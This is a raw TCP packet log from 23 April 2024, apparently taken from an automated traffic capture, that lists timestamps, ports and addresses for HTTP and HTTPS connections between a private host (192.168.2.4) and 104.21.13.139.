Apr 23, 2024 14:44:54.403248072 CEST	49736	80	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:54.507812023 CEST	80	49736	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:54.734833002 CEST	80	49736	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:54.734872103 CEST	80	49736	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:54.735011101 CEST	49736	80	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:54.739854097 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:54.739906073 CEST	443	49737	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:54.740005970 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:54.753973007 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:54.754043102 CEST	443	49737	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:54.979094028 CEST	443	49737	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:54.979207039 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:54.983355999 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:54.983370066 CEST	443	49737	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:54.983673096 CEST	443	49737	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:55.024485111 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:55.033107996 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:55.080121994 CEST	443	49737	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:55.729078054 CEST	443	49737	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:55.729163885 CEST	443	49737	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:55.729243994 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:55.737155914 CEST	49737	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:55.846827030 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:55.846864939 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:55.846940994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:55.847364902 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:55.847373962 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.063981056 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.064105034 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.065562010 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.065579891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.065814972 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.067389011 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.112118006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990179062 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990216017 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990242958 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990269899 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990276098 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.990295887 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990319967 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.990329981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990355015 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990377903 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.990382910 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990427017 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.990478992 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990545034 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990570068 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990592003 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.990593910 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990602970 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.990641117 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.991316080 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.991369009 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.991373062 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.991430998 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.991478920 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.991483927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.991940022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.991983891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.991993904 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.991998911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.992022991 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.992038012 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.992042065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.992105961 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.992686987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.992733955 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.992750883 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.992784023 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:56.992791891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:56.992830992 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.098179102 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.098349094 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.098418951 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.098439932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.098524094 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.098618984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.098710060 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.098716021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.098764896 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.098800898 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.099061966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.099112034 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.099116087 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.099174023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.099224091 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.099227905 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.099801064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.099845886 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.099850893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.099987030 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.100035906 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.100039959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.100579977 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.100645065 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.100649118 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.100735903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.100790024 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.100795031 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.100833893 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.101480961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.101531029 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.101622105 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.101680994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.102400064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.102454901 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.102493048 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.102549076 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.103172064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.103224993 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.144694090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.144787073 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.144785881 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.144840002 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.144850969 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.144876957 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.145030975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.145076036 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.202987909 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.203193903 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.217952013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.218033075 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.218146086 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.218200922 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.218983889 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.219042063 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.219141960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.219192028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.219846010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.219904900 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.219949007 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.219999075 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.220741034 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.220797062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.220901012 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.220956087 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.221715927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.221776009 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.221858025 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.221911907 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.222515106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.222565889 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.222599983 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.222650051 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.223464966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.223520994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.224268913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.224324942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.224416971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.224471092 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.225122929 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.225187063 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.225261927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.225311041 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.226044893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.226094961 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.226197004 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.226253033 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.226790905 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.226843119 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.226872921 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.226917982 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.227741957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.227790117 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.228231907 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.228283882 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.228318930 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.228363037 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.302608013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.302730083 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.302834988 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.302854061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.302902937 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.303380966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.303438902 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.303447962 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.303467035 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.303491116 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.303508043 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.324384928 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.324495077 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.326282978 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.326292992 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.326312065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.326437950 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.326437950 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.326452017 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.326503038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.327105999 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.327146053 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.327168941 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.327173948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.327195883 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.327214003 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.328993082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.329008102 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.329061031 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.329067945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.329107046 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.331366062 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.331379890 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.331438065 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.331444025 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.331484079 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.333139896 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.333153963 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.333210945 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.333216906 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.333255053 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.334626913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.334640026 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.334706068 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.334712029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.334748983 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.336462021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.336476088 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.336524010 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.336529970 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.336565971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.338912010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.338926077 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.338984966 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.338990927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.339020014 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.339037895 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.340749979 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.340769053 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.340816021 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.340820074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.340846062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.340863943 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.342520952 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.342535019 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.342595100 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.342600107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.342637062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.344604015 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.344618082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.344676971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.344682932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.344719887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.346324921 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.346338987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.346400976 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.346409082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.346446037 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.348143101 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.348155975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.348217010 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.348222971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.348261118 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.406768084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.406821966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.406876087 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.406903028 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.406920910 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.406948090 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.408618927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.408689022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.408693075 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.408744097 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.408757925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.408798933 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.410382986 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.410424948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.410456896 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.410461903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.410495996 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.410511971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.426819086 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.426846981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.427047014 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.427056074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.427097082 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.428822994 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.428837061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.428900003 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.428905010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.428942919 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.430582047 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.430603027 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.430661917 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.430670023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.430727005 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.432471037 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.432485104 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.432537079 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.432545900 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.432574987 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.434246063 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.434258938 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.434315920 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.434322119 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.434355021 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.435892105 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.435910940 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.435961962 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.435967922 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.436000109 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.438069105 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.438087940 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.438133955 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.438141108 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.438165903 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.438182116 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.439868927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.439882994 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.439939976 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.439945936 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.439979076 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.441581964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.441601992 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.441647053 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.441653013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.441684961 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.443396091 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.443417072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.443449020 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.443453074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.443480015 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.443499088 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.445141077 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.445158005 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.445189953 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.445195913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.445218086 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.445239067 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.447257996 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.447278023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.447324991 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.447330952 CEST	443	49738	104.21.13.139	192.168.2.4
